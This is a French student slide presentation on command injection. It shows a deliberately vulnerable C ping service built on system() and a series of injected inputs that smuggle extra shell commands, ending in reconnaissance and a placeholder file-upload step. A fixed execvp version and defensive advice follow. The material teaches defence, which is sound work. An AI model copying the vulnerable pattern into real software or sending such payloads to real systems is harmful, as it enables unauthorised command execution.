Command injection

Wen CHEN, Eldred HABERT, Augustin TARRALLE

Kézako

La command injection consiste en l'exécution de commandes shell arbitraires dans un service qui n'est pas destiné à fournir un shell.

(Par exemple, obtenir un shell à partir d'une application censée fournir l'état des utilisateurs)

Ce genre de faille apparaît quand le programme appelé invoque un shell avec des paramètres passés par l'utilisateur.

Voyons un exemple.

Mise en situation

Vous êtes sysadmin.

(Un mauvais)

But = consulter l'état du parc à distance

Interface Web = gros donc vulnérable

On va faire simple.

Le bon vieux shell !

ping 192.168.42.69

Sur une machine avec deux interfaces réseau (1 publique + 1 privée)

On va pas exposer un shell entier au Web

Ça serait stupide, non ?

Démonstration


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char * lineptr = NULL;
    size_t size = 0;
    ssize_t readLen = getline(&lineptr, &size, stdin);

    if (readLen == -1) {
        perror("getline");
        exit(1);
    }

    char buf[size + strlen("ping ") + 1];
    sprintf(buf, "ping -c 4 %s", lineptr);
    system(buf);

    free(lineptr);
    return 0;
}
        

Serveur sur port 54321

echo "localhost" | nc <ip> 54321

PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.042 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.031 ms

--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3040ms
rtt min/avg/max/mdev = 0.015/0.035/0.052/0.013 ms
        

Carrément avec des options !

echo "-c 2 localhost" | nc <ip> 54321

PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.036 ms

--- localhost ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1014ms
rtt min/avg/max/mdev = 0.015/0.025/0.036/0.010 ms
        

🥳

...Qu'est-ce qu'on peut mettre dans ces options ?

echo "-c \$(nproc) localhost" | nc <ip> 54321

PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.052 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.021 ms
64 bytes from localhost (::1): icmp_seq=5 ttl=64 time=0.044 ms
64 bytes from localhost (::1): icmp_seq=6 ttl=64 time=0.016 ms
64 bytes from localhost (::1): icmp_seq=7 ttl=64 time=0.021 ms
64 bytes from localhost (::1): icmp_seq=8 ttl=64 time=0.016 ms

--- localhost ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7100ms
rtt min/avg/max/mdev = 0.016/0.030/0.052/0.013 ms
        

OwO what's this ?

Encore plus loin...

echo "localhost; echo Hax0red" | nc <ip> 54321

PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.051 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.027 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.017 ms

--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3048ms
rtt min/avg/max/mdev = 0.013/0.027/0.051/0.014 ms
Hax0red
        

echo "localhost >/dev/null; echo Hax0red" | nc <ip> 54321

<délai...>
Hax0red
        

echo "localhost >/dev/null & echo Hax0red" | nc <ip> 54321

Hax0red
        

On a donc exposé un shell au Web.

C'est stupide, non ? 😈

echo "localhost >/dev/null & id" | nc <ip> 54321

uid=1000(issotm) gid=1000(issotm) groups=1000(issotm),56(bumblebee)
        

Voire carrément...

uid=0(root) gid=0(root) groups=0(root)
        

(On avait prévenu : mauvais sysadmin)

Parfait pour la reconnaissance...

echo "localhost >/dev/null & id && uname -a && pwd" | nc <ip> 54321

uid=1000(issotm) gid=1000(issotm) groups=1000(issotm),56(bumblebee)
Linux sheik-kitty 5.4.8-arch1-1 #1 SMP PREEMPT Sat, 04 Jan 2020 23:46:18 +0000 x86_64 GNU/Linux
/home/issotm/command_injection
        

...l'attaque...

echo "localhost >/dev/null & <upload d'un fichier sur un site public comme Firefox Send>" | nc <ip> 54321

(Et pour peu qu'un petit service pareil ne soit pas logué, ... la discrétion)

Se protéger


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char * lineptr = NULL;
    size_t size = 0;
    ssize_t readLen = getline(&lineptr, &size, stdin);

    if (readLen == -1) {
        perror("getline");
        exit(1);
    }

    char buf[size + strlen("ping ") + 1];
    sprintf(buf, "ping -c 4 %s", lineptr);
    system(buf); // Invoque un shell !!

    free(lineptr);
    return 0;
}
        

Solution : utiliser exec


#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char * lineptr = NULL;
    size_t size = 0;
    ssize_t readLen = getline(&lineptr, &size, stdin);

    if (readLen == -1) {
        perror("getline");
        exit(1);
    }

    // How many bytes without the optional final newline
    size_t len = strcspn(lineptr, "\n");
    char buf[len + 1];
    memcpy(buf, lineptr, len);
    buf[len] = '\0';
    free(lineptr);

    char * const args[] = {
        "ping",
        "-c",
        "4",
        buf,
        NULL
    };

    pid_t pid = fork();
    if (pid == -1) {
        perror("fork");
    } else if (pid == 0) {
        execvp("ping", args);
    } else {
        waitpid(pid, NULL, 0);
    }
}

        

Conclusion

Solutions possibles :

  • Éviter d'utiliser le shell si c'est possible
  • Utiliser exec() au lieu de system()
  • Utiliser des appels systèmes au lieu d'appeler des programmes
  • Comme pour tout : ne jamais faire confiance aux données de l'utilisateur
  • Ne jamais exposer un programme tournant en tant que root à l'Internet

Merci !

Avez-vous des questions ?


Wen CHEN, Eldred HABERT, Augustin TARRALLE